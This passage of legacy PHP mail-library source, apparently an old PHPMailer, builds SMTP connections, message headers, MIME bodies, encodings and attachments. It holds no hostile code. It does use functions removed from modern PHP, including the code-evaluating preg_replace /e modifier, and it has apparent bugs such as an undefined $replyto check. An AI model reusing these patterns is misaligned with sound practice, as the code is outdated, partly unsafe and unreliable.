2049 $connection = ($this->smtp->Connected());
2050
2051 /* Retry while there is no connection */
2052 while($index < count($hosts) && $connection == false) {
2053 $hostinfo = array();
2054 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2055 $host = $hostinfo[1];
2056 $port = $hostinfo[2];
2057 } else {
2058 $host = $hosts[$index];
2059 $port = $this->Port;
2060 }
2061
2062 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2063 if ($this->Helo != '') {
2064 $this->smtp->Hello($this->Helo);
2065 } else {
2066 $this->smtp->Hello($this->ServerHostname());
2067 }
2068
2069 $connection = true;
2070 if($this->SMTPAuth) {
2071 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2072 $this->SetError($this->Lang('authenticate'));
2073 $this->smtp->Reset();
2074 $connection = false;
2075 }
2076 }
2077 }
2078 $index++;
2079 }
2080 if(!$connection) {
2081 $this->SetError($this->Lang('connect_host'));
2082 }
2083
2084 return $connection;
2085 }
2086
2087 /**
2088 * Closes the active SMTP session if one exists.
2089 * @return void
2090 */
2091 function SmtpClose() {
2092 if($this->smtp != NULL) {
2093 if($this->smtp->Connected()) {
2094 $this->smtp->Quit();
2095 $this->smtp->Close();
2096 }
2097 }
2098 }
2099
2100 /**
2101 * Sets the language for all class error messages. Returns false
2102 * if it cannot load the language file. The default language type
2103 * is English.
2104 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2105 * @param string $lang_path Path to the language file directory
2106 * @access public
2107 * @return bool
2108 */
2109 function SetLanguage($lang_type, $lang_path = 'language/') {
2110 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2111 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2112 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2113 include($lang_path.'phpmailer.lang-en.php');
2114 } else {
2115 $this->SetError('Could not load language file');
2116 return false;
2117 }
2118 $this->language = $PHPMAILER_LANG;
2119
2120 return true;
2121 }
2122
2123 /////////////////////////////////////////////////
2124 // METHODS, MESSAGE CREATION
2125 /////////////////////////////////////////////////
2126
2127 /**
2128 * Creates recipient headers.
2129 * @access private
2130 * @return string
2131 */
2132 function AddrAppend($type, $addr) {
2133 $addr_str = $type . ': ';
2134 $addr_str .= $this->AddrFormat($addr[0]);
2135 if(count($addr) > 1) {
2136 for($i = 1; $i < count($addr); $i++) {
2137 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2138 }
2139 }
2140 $addr_str .= $this->LE;
2141
2142 return $addr_str;
2143 }
2144
2145 /**
2146 * Formats an address correctly.
2147 * @access private
2148 * @return string
2149 */
2150 function AddrFormat($addr) {
2151 if(empty($addr[1])) {
2152 $formatted = $this->SecureHeader($addr[0]);
2153 } else {
2154 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2155 }
2156
2157 return $formatted;
2158 }
2159
2160 /**
2161 * Wraps message for use with mailers that do not
2162 * automatically perform wrapping and for quoted-printable.
2163 * Original written by philippe.
2164 * @access private
2165 * @return string
2166 */
2167 function WrapText($message, $length, $qp_mode = false) {
2168 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2169 // If utf-8 encoding is used, we will need to make sure we don't
2170 // split multibyte characters when we wrap
2171 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2172
2173 $message = $this->FixEOL($message);
2174 if (substr($message, -1) == $this->LE) {
2175 $message = substr($message, 0, -1);
2176 }
2177
2178 $line = explode($this->LE, $message);
2179 $message = '';
2180 for ($i=0 ;$i < count($line); $i++) {
2181 $line_part = explode(' ', $line[$i]);
2182 $buf = '';
2183 for ($e = 0; $e<count($line_part); $e++) {
2184 $word = $line_part[$e];
2185 if ($qp_mode and (strlen($word) > $length)) {
2186 $space_left = $length - strlen($buf) - 1;
2187 if ($e != 0) {
2188 if ($space_left > 20) {
2189 $len = $space_left;
2190 if ($is_utf8) {
2191 $len = $this->UTF8CharBoundary($word, $len);
2192 } elseif (substr($word, $len - 1, 1) == "=") {
2193 $len--;
2194 } elseif (substr($word, $len - 2, 1) == "=") {
2195 $len -= 2;
2196 }
2197 $part = substr($word, 0, $len);
2198 $word = substr($word, $len);
2199 $buf .= ' ' . $part;
2200 $message .= $buf . sprintf("=%s", $this->LE);
2201 } else {
2202 $message .= $buf . $soft_break;
2203 }
2204 $buf = '';
2205 }
2206 while (strlen($word) > 0) {
2207 $len = $length;
2208 if ($is_utf8) {
2209 $len = $this->UTF8CharBoundary($word, $len);
2210 } elseif (substr($word, $len - 1, 1) == "=") {
2211 $len--;
2212 } elseif (substr($word, $len - 2, 1) == "=") {
2213 $len -= 2;
2214 }
2215 $part = substr($word, 0, $len);
2216 $word = substr($word, $len);
2217
2218 if (strlen($word) > 0) {
2219 $message .= $part . sprintf("=%s", $this->LE);
2220 } else {
2221 $buf = $part;
2222 }
2223 }
2224 } else {
2225 $buf_o = $buf;
2226 $buf .= ($e == 0) ? $word : (' ' . $word);
2227
2228 if (strlen($buf) > $length and $buf_o != '') {
2229 $message .= $buf_o . $soft_break;
2230 $buf = $word;
2231 }
2232 }
2233 }
2234 $message .= $buf . $this->LE;
2235 }
2236
2237 return $message;
2238 }
2239
2240 /**
2241 * Finds last character boundary prior to maxLength in a utf-8
2242 * quoted (printable) encoded string.
2243 * Original written by Colin Brown.
2244 * @access private
2245 * @param string $encodedText utf-8 QP text
2246 * @param int $maxLength find last character boundary prior to this length
2247 * @return int
2248 */
2249 function UTF8CharBoundary($encodedText, $maxLength) {
2250 $foundSplitPos = false;
2251 $lookBack = 3;
2252 while (!$foundSplitPos) {
2253 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2254 $encodedCharPos = strpos($lastChunk, "=");
2255 if ($encodedCharPos !== false) {
2256 // Found start of encoded character byte within $lookBack block.
2257 // Check the encoded byte value (the 2 chars after the '=')
2258 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2259 $dec = hexdec($hex);
2260 if ($dec < 128) { // Single byte character.
2261 // If the encoded char was found at pos 0, it will fit
2262 // otherwise reduce maxLength to start of the encoded char
2263 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2264 $maxLength - ($lookBack - $encodedCharPos);
2265 $foundSplitPos = true;
2266 } elseif ($dec >= 192) { // First byte of a multi byte character
2267 // Reduce maxLength to split at start of character
2268 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2269 $foundSplitPos = true;
2270 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2271 $lookBack += 3;
2272 }
2273 } else {
2274 // No encoded character found
2275 $foundSplitPos = true;
2276 }
2277 }
2278 return $maxLength;
2279 }
2280
2281 /**
2282 * Set the body wrapping.
2283 * @access private
2284 * @return void
2285 */
2286 function SetWordWrap() {
2287 if($this->WordWrap < 1) {
2288 return;
2289 }
2290
2291 switch($this->message_type) {
2292 case 'alt':
2293 /* fall through */
2294 case 'alt_attachments':
2295 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2296 break;
2297 default:
2298 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2299 break;
2300 }
2301 }
2302
2303 /**
2304 * Assembles message header.
2305 * @access private
2306 * @return string
2307 */
2308 function CreateHeader() {
2309 $result = '';
2310
2311 /* Set the boundaries */
2312 $uniq_id = md5(uniqid(time()));
2313 $this->boundary[1] = 'b1_' . $uniq_id;
2314 $this->boundary[2] = 'b2_' . $uniq_id;
2315
2316 $result .= $this->HeaderLine('Date', $this->RFCDate());
2317 if($this->Sender == '') {
2318 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2319 } else {
2320 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2321 }
2322
2323 /* To be created automatically by mail() */
2324 if($this->Mailer != 'mail') {
2325 if(count($this->to) > 0) {
2326 $result .= $this->AddrAppend('To', $this->to);
2327 } elseif (count($this->cc) == 0) {
2328 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2329 }
2330 if(count($this->cc) > 0) {
2331 $result .= $this->AddrAppend('Cc', $this->cc);
2332 }
2333 }
2334
2335 $from = array();
2336 $from[0][0] = trim($this->From);
2337 $from[0][1] = $this->FromName;
2338 $result .= $this->AddrAppend('From', $from);
2339
2340 /* sendmail and mail() extract Cc from the header before sending */
2341 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2342 $result .= $this->AddrAppend('Cc', $this->cc);
2343 }
2344
2345 /* sendmail and mail() extract Bcc from the header before sending */
2346 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2347 $result .= $this->AddrAppend('Bcc', $this->bcc);
2348 }
2349 if($replyto != "")
2350 {
2351 if(count($this->ReplyTo) > 0) {
2352 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2353 }
2354 }
2355 /* mail() sets the subject itself */
2356 if($this->Mailer != 'mail') {
2357 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2358 }
2359
2360 if($this->MessageID != '') {
2361 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2362 } else {
2363 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2364 }
2365 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2366 if($this->ConfirmReadingTo != '') {
2367 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2368 }
2369
2370 // Add custom headers
2371 for($index = 0; $index < count($this->CustomHeader); $index++) {
2372 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2373 }
2374 if (!$this->sign_key_file) {
2375 $result .= $this->HeaderLine('MIME-Version', '1.0');
2376 $result .= $this->GetMailMIME();
2377 }
2378
2379 return $result;
2380 }
2381
2382 /**
2383 * Returns the message MIME.
2384 * @access private
2385 * @return string
2386 */
2387 function GetMailMIME() {
2388 $result = '';
2389 switch($this->message_type) {
2390 case 'plain':
2391 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2392 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2393 break;
2394 case 'attachments':
2395 /* fall through */
2396 case 'alt_attachments':
2397 if($this->InlineImageExists()){
2398 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2399 } else {
2400 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2401 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2402 }
2403 break;
2404 case 'alt':
2405 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2406 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2407 break;
2408 }
2409
2410 if($this->Mailer != 'mail') {
2411 $result .= $this->LE.$this->LE;
2412 }
2413
2414 return $result;
2415 }
2416
2417 /**
2418 * Assembles the message body. Returns an empty string on failure.
2419 * @access private
2420 * @return string
2421 */
2422 function CreateBody() {
2423 $result = '';
2424 if ($this->sign_key_file) {
2425 $result .= $this->GetMailMIME();
2426 }
2427
2428 $this->SetWordWrap();
2429
2430 switch($this->message_type) {
2431 case 'alt':
2432 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2433 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2434 $result .= $this->LE.$this->LE;
2435 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2436 $result .= $this->EncodeString($this->Body, $this->Encoding);
2437 $result .= $this->LE.$this->LE;
2438 $result .= $this->EndBoundary($this->boundary[1]);
2439 break;
2440 case 'plain':
2441 $result .= $this->EncodeString($this->Body, $this->Encoding);
2442 break;
2443 case 'attachments':
2444 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2445 $result .= $this->EncodeString($this->Body, $this->Encoding);
2446 $result .= $this->LE;
2447 $result .= $this->AttachAll();
2448 break;
2449 case 'alt_attachments':
2450 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2451 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2452 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2453 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2454 $result .= $this->LE.$this->LE;
2455 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2456 $result .= $this->EncodeString($this->Body, $this->Encoding);
2457 $result .= $this->LE.$this->LE;
2458 $result .= $this->EndBoundary($this->boundary[2]);
2459 $result .= $this->AttachAll();
2460 break;
2461 }
2462
2463 if($this->IsError()) {
2464 $result = '';
2465 } else if ($this->sign_key_file) {
2466 $file = tempnam("", "mail");
2467 $fp = fopen($file, "w");
2468 fwrite($fp, $result);
2469 fclose($fp);
2470 $signed = tempnam("", "signed");
2471
2472 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2473 $fp = fopen($signed, "r");
2474 $result = fread($fp, filesize($this->sign_key_file));
2475 fclose($fp);
2476 } else {
2477 $this->SetError($this->Lang("signing").openssl_error_string());
2478 $result = '';
2479 }
2480
2481 unlink($file);
2482 unlink($signed);
2483 }
2484
2485 return $result;
2486 }
2487
2488 /**
2489 * Returns the start of a message boundary.
2490 * @access private
2491 */
2492 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2493 $result = '';
2494 if($charSet == '') {
2495 $charSet = $this->CharSet;
2496 }
2497 if($contentType == '') {
2498 $contentType = $this->ContentType;
2499 }
2500 if($encoding == '') {
2501 $encoding = $this->Encoding;
2502 }
2503 $result .= $this->TextLine('--' . $boundary);
2504 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2505 $result .= $this->LE;
2506 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2507 $result .= $this->LE;
2508
2509 return $result;
2510 }
2511
2512 /**
2513 * Returns the end of a message boundary.
2514 * @access private
2515 */
2516 function EndBoundary($boundary) {
2517 return $this->LE . '--' . $boundary . '--' . $this->LE;
2518 }
2519
2520 /**
2521 * Sets the message type.
2522 * @access private
2523 * @return void
2524 */
2525 function SetMessageType() {
2526 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2527 $this->message_type = 'plain';
2528 } else {
2529 if(count($this->attachment) > 0) {
2530 $this->message_type = 'attachments';
2531 }
2532 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2533 $this->message_type = 'alt';
2534 }
2535 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2536 $this->message_type = 'alt_attachments';
2537 }
2538 }
2539 }
2540
2541 /* Returns a formatted header line.
2542 * @access private
2543 * @return string
2544 */
2545 function HeaderLine($name, $value) {
2546 return $name . ': ' . $value . $this->LE;
2547 }
2548
2549 /**
2550 * Returns a formatted mail line.
2551 * @access private
2552 * @return string
2553 */
2554 function TextLine($value) {
2555 return $value . $this->LE;
2556 }
2557
2558 /////////////////////////////////////////////////
2559 // CLASS METHODS, ATTACHMENTS
2560 /////////////////////////////////////////////////
2561
2562 /**
2563 * Adds an attachment from a path on the filesystem.
2564 * Returns false if the file could not be found
2565 * or accessed.
2566 * @param string $path Path to the attachment.
2567 * @param string $name Overrides the attachment name.
2568 * @param string $encoding File encoding (see $Encoding).
2569 * @param string $type File extension (MIME) type.
2570 * @return bool
2571 */
2572 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2573 if(!@is_file($path)) {
2574 $this->SetError($this->Lang('file_access') . $path);
2575 return false;
2576 }
2577
2578 $filename = basename($path);
2579 if($name == '') {
2580 $name = $filename;
2581 }
2582
2583 $cur = count($this->attachment);
2584 $this->attachment[$cur][0] = $path;
2585 $this->attachment[$cur][1] = $filename;
2586 $this->attachment[$cur][2] = $name;
2587 $this->attachment[$cur][3] = $encoding;
2588 $this->attachment[$cur][4] = $type;
2589 $this->attachment[$cur][5] = false; // isStringAttachment
2590 $this->attachment[$cur][6] = 'attachment';
2591 $this->attachment[$cur][7] = 0;
2592
2593 return true;
2594 }
2595
2596 /**
2597 * Attaches all fs, string, and binary attachments to the message.
2598 * Returns an empty string on failure.
2599 * @access private
2600 * @return string
2601 */
2602 function AttachAll() {
2603 /* Return text of body */
2604 $mime = array();
2605
2606 /* Add all attachments */
2607 for($i = 0; $i < count($this->attachment); $i++) {
2608 /* Check for string attachment */
2609 $bString = $this->attachment[$i][5];
2610 if ($bString) {
2611 $string = $this->attachment[$i][0];
2612 } else {
2613 $path = $this->attachment[$i][0];
2614 }
2615
2616 $filename = $this->attachment[$i][1];
2617 $name = $this->attachment[$i][2];
2618 $encoding = $this->attachment[$i][3];
2619 $type = $this->attachment[$i][4];
2620 $disposition = $this->attachment[$i][6];
2621 $cid = $this->attachment[$i][7];
2622
2623 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2624 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2625 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2626
2627 if($disposition == 'inline') {
2628 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2629 }
2630
2631 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2632
2633 /* Encode as string attachment */
2634 if($bString) {
2635 $mime[] = $this->EncodeString($string, $encoding);
2636 if($this->IsError()) {
2637 return '';
2638 }
2639 $mime[] = $this->LE.$this->LE;
2640 } else {
2641 $mime[] = $this->EncodeFile($path, $encoding);
2642 if($this->IsError()) {
2643 return '';
2644 }
2645 $mime[] = $this->LE.$this->LE;
2646 }
2647 }
2648
2649 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2650
2651 return join('', $mime);
2652 }
2653
2654 /**
2655 * Encodes attachment in requested format. Returns an
2656 * empty string on failure.
2657 * @access private
2658 * @return string
2659 */
2660 function EncodeFile ($path, $encoding = 'base64') {
2661 if(!@$fd = fopen($path, 'rb')) {
2662 $this->SetError($this->Lang('file_open') . $path);
2663 return '';
2664 }
2665 $magic_quotes = get_magic_quotes_runtime();
2666 set_magic_quotes_runtime(0);
2667 $file_buffer = fread($fd, filesize($path));
2668 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2669 fclose($fd);
2670 set_magic_quotes_runtime($magic_quotes);
2671
2672 return $file_buffer;
2673 }
2674
2675 /**
2676 * Encodes string to requested format. Returns an
2677 * empty string on failure.
2678 * @access private
2679 * @return string
2680 */
2681 function EncodeString ($str, $encoding = 'base64') {
2682 $encoded = '';
2683 switch(strtolower($encoding)) {
2684 case 'base64':
2685 /* chunk_split is found in PHP >= 3.0.6 */
2686 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2687 break;
2688 case '7bit':
2689 case '8bit':
2690 $encoded = $this->FixEOL($str);
2691 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2692 $encoded .= $this->LE;
2693 break;
2694 case 'binary':
2695 $encoded = $str;
2696 break;
2697 case 'quoted-printable':
2698 $encoded = $this->EncodeQP($str);
2699 break;
2700 default:
2701 $this->SetError($this->Lang('encoding') . $encoding);
2702 break;
2703 }
2704 return $encoded;
2705 }
2706
2707 /**
2708 * Encode a header string to best of Q, B, quoted or none.
2709 * @access private
2710 * @return string
2711 */
2712 function EncodeHeader ($str, $position = 'text') {
2713 $x = 0;
2714
2715 switch (strtolower($position)) {
2716 case 'phrase':
2717 if (!preg_match('/[\200-\377]/', $str)) {
2718 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2719 $encoded = addcslashes($str, "\0..\37\177\\\"");
2720 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2721 return ($encoded);
2722 } else {
2723 return ("\"$encoded\"");
2724 }
2725 }
2726 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2727 break;
2728 case 'comment':
2729 $x = preg_match_all('/[()"]/', $str, $matches);
2730 /* Fall-through */
2731 case 'text':
2732 default:
2733 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2734 break;
2735 }
2736
2737 if ($x == 0) {
2738 return ($str);
2739 }
2740
2741 $maxlen = 75 - 7 - strlen($this->CharSet);
2742 /* Try to select the encoding which should produce the shortest output */
2743 if (strlen($str)/3 < $x) {
2744 $encoding = 'B';
2745 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2746 // Use a custom function which correctly encodes and wraps long
2747 // multibyte strings without breaking lines within a character
2748 $encoded = $this->Base64EncodeWrapMB($str);
2749 } else {
2750 $encoded = base64_encode($str);
2751 $maxlen -= $maxlen % 4;
2752 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2753 }
2754 } else {
2755 $encoding = 'Q';
2756 $encoded = $this->EncodeQ($str, $position);
2757 $encoded = $this->WrapText($encoded, $maxlen, true);
2758 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2759 }
2760
2761 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2762 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2763
2764 return $encoded;
2765 }
2766
2767 /**
2768 * Checks if a string contains multibyte characters.
2769 * @access private
2770 * @param string $str multi-byte text to wrap encode
2771 * @return bool
2772 */
2773 function HasMultiBytes($str) {
2774 if (function_exists('mb_strlen')) {
2775 return (strlen($str) > mb_strlen($str, $this->CharSet));
2776 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2777 return False;
2778 }
2779 }
2780
2781 /**
2782 * Correctly encodes and wraps long multibyte strings for mail headers
2783 * without breaking lines within a character.
2784 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2785 * @access private
2786 * @param string $str multi-byte text to wrap encode
2787 * @return string
2788 */
2789 function Base64EncodeWrapMB($str) {
2790 $start = "=?".$this->CharSet."?B?";
2791 $end = "?=";
2792 $encoded = "";
2793
2794 $mb_length = mb_strlen($str, $this->CharSet);
2795 // Each line must have length <= 75, including $start and $end
2796 $length = 75 - strlen($start) - strlen($end);
2797 // Average multi-byte ratio
2798 $ratio = $mb_length / strlen($str);
2799 // Base64 has a 4:3 ratio
2800 $offset = $avgLength = floor($length * $ratio * .75);
2801
2802 for ($i = 0; $i < $mb_length; $i += $offset) {
2803 $lookBack = 0;
2804
2805 do {
2806 $offset = $avgLength - $lookBack;
2807 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2808 $chunk = base64_encode($chunk);
2809 $lookBack++;
2810 }
2811 while (strlen($chunk) > $length);
2812
2813 $encoded .= $chunk . $this->LE;
2814 }
2815
2816 // Chomp the last linefeed
2817 $encoded = substr($encoded, 0, -strlen($this->LE));
2818 return $encoded;
2819 }
2820
2821 /**
2822 * Encode string to quoted-printable.
2823 * @access private
2824 * @return string
2825 */
2826 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2827 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2828 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2829 $eol = "\r\n";
2830 $escape = '=';
2831 $output = '';
2832 while( list(, $line) = each($lines) ) {
2833 $linlen = strlen($line);
2834 $newline = '';
2835 for($i = 0; $i < $linlen; $i++) {
2836 $c = substr( $line, $i, 1 );
2837 $dec = ord( $c );
2838 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2839 $c = '=2E';
2840 }
2841 if ( $dec == 32 ) {
2842 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2843 $c = '=20';
2844 } else if ( $space_conv ) {
2845 $c = '=20';
2846 }
2847 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2848 $h2 = floor($dec/16);
2849 $h1 = floor($dec%16);
2850 $c = $escape.$hex[$h2].$hex[$h1];
2851 }
2852 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2853 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2854 $newline = '';
2855 // check if newline first character will be point or not
2856 if ( $dec == 46 ) {
2857 $c = '=2E';
2858 }
2859 }
2860 $newline .= $c;
2861 } // end of for
2862 $output .= $newline.$eol;
2863 } // end of while
2864 return trim($output);
2865 }
2866
2867 /**
2868 * Encode string to q encoding.
2869 * @access private
2870 * @return string
2871 */
2872 function EncodeQ ($str, $position = 'text') {
2873 /* There should not be any EOL in the string */
2874 $encoded = preg_replace("[\r\n]", '', $str);
2875
2876 switch (strtolower($position)) {
2877 case 'phrase':
2878 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2879 break;
2880 case 'comment':
2881 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2882 case 'text':
2883 default:
2884 /* Replace every high ascii, control =, ? and _ characters */
2885 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2886 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2887 break;
2888 }
2889
2890 /* Replace every spaces to _ (more readable than =20) */
2891 $encoded = str_replace(' ', '_', $encoded);
2892
2893 return $encoded;
2894 }
2895
2896 /**
2897 * Adds a string or binary attachment (non-filesystem) to the list.
2898 * This method can be used to attach ascii or binary data,
2899 * such as a BLOB record from a database.
2900 * @param string $string String attachment data.
2901 * @param string $filename Name of the attachment.
2902 * @param string $encoding File encoding (see $Encoding).
2903 * @param string $type File extension (MIME) type.
2904 * @return void
2905 */
2906 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2907 /* Append to $attachment array */
2908 $cur = count($this->attachment);
2909 $this->attachment[$cur][0] = $string;
2910 $this->attachment[$cur][1] = $filename;
2911 $this->attachment[$cur][2] = $filename;
2912 $this->attachment[$cur][3] = $encoding;
2913 $this->attachment[$cur][4] = $type;
2914 $this->attachment[$cur][5] = true; // isString
2915 $this->attachment[$cur][6] = 'attachment';
2916 $this->attachment[$cur][7] = 0;
2917 }
2918
2919 /**
2920 * Adds an embedded attachment. This can include images, sounds, and
2921 * just about any other document. Make sure to set the $type to an
2922 * image type. For JPEG images use "image/jpeg" and for GIF images
2923 * use "image/gif".
2924 * @param string $path Path to the attachment.
2925 * @param string $cid Content ID of the attachment. Use this to identify
2926 * the Id for accessing the image in an HTML form.
2927 * @param string $name Overrides the attachment name.
2928 * @param string $encoding File encoding (see $Encoding).
2929 * @param string $type File extension (MIME) type.
2930 * @return bool
2931 */
2932 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2933
2934 if(!@is_file($path)) {
2935 $this->SetError($this->Lang('file_access') . $path);
2936 return false;
2937 }
2938
2939 $filename = basename($path);
2940 if($name == '') {
2941 $name = $filename;
2942 }
2943
2944 /* Append to $attachment array */
2945 $cur = count($this->attachment);
2946 $this->attachment[$cur][0] = $path;
2947 $this->attachment[$cur][1] = $filename;
2948 $this->attachment[$cur][2] = $name;
2949 $this->attachment[$cur][3] = $encoding;
2950 $this->attachment[$cur][4] = $type;
2951 $this->attachment[$cur][5] = false;
2952 $this->attachment[$cur][6] = 'inline';
2953 $this->attachment[$cur][7] = $cid;
2954
2955 return true;
2956 }
2957
2958 /**
2959 * Returns true if an inline attachment is present.
2960 * @access private
2961 * @return bool
2962 */
2963 function InlineImageExists() {
2964 $result = false;
2965 for($i = 0; $i < count($this->attachment); $i++) {
2966 if($this->attachment[$i][6] == 'inline') {
2967 $result = true;
2968 break;
2969 }
2970 }
2971
2972 return $result;
2973 }
2974
2975 /////////////////////////////////////////////////
2976 // CLASS METHODS, MESSAGE RESET
2977 /////////////////////////////////////////////////
2978
2979 /**
2980 * Clears all recipients assigned in the TO array. Returns void.
2981 * @return void
2982 */
2983 function ClearAddresses() {
2984 $this->to = array();
2985 }
2986
2987 /**
2988 * Clears all recipients assigned in the CC array. Returns void.
2989 * @return void
2990 */
2991 function ClearCCs() {
2992 $this->cc = array();
2993 }
2994
2995 /**
2996 * Clears all recipients assigned in the BCC array. Returns void.
2997 * @return void
2998 */
2999 function ClearBCCs() {
3000 $this->bcc = array();
3001 }
3002
3003 /**
3004 * Clears all recipients assigned in the ReplyTo array. Returns void.
3005 * @return void
3006 */
3007 function ClearReplyTos() {
3008 $this->ReplyTo = array();
3009 }
3010
3011 /**
3012 * Clears all recipients assigned in the TO, CC and BCC
3013 * array. Returns void.
3014 * @return void
3015 */
3016 function ClearAllRecipients() {
3017 $this->to = array();
3018 $this->cc = array();
3019 $this->bcc = array();
3020 }
3021
3022 /**
3023 * Clears all previously set filesystem, string, and binary
3024 * attachments. Returns void.
3025 * @return void
3026 */
3027 function ClearAttachments() {
3028 $this->attachment = array();
3029 }
3030
3031 /**
3032 * Clears all custom headers. Returns void.
3033 * @return void
3034 */
3035 function ClearCustomHeaders() {
3036 $this->CustomHeader = array();
3037 }
3038
3039 /////////////////////////////////////////////////
3040 // CLASS METHODS, MISCELLANEOUS
3041 /////////////////////////////////////////////////
3042
3043 /**
3044 * Adds the error message to the error container.
3045 * Returns void.
3046 * @access private
3047 * @return void
3048 */
3049 function SetError($msg) {
3050 $this->error_count++;
3051 $this->ErrorInfo = $msg;
3052 }
3053
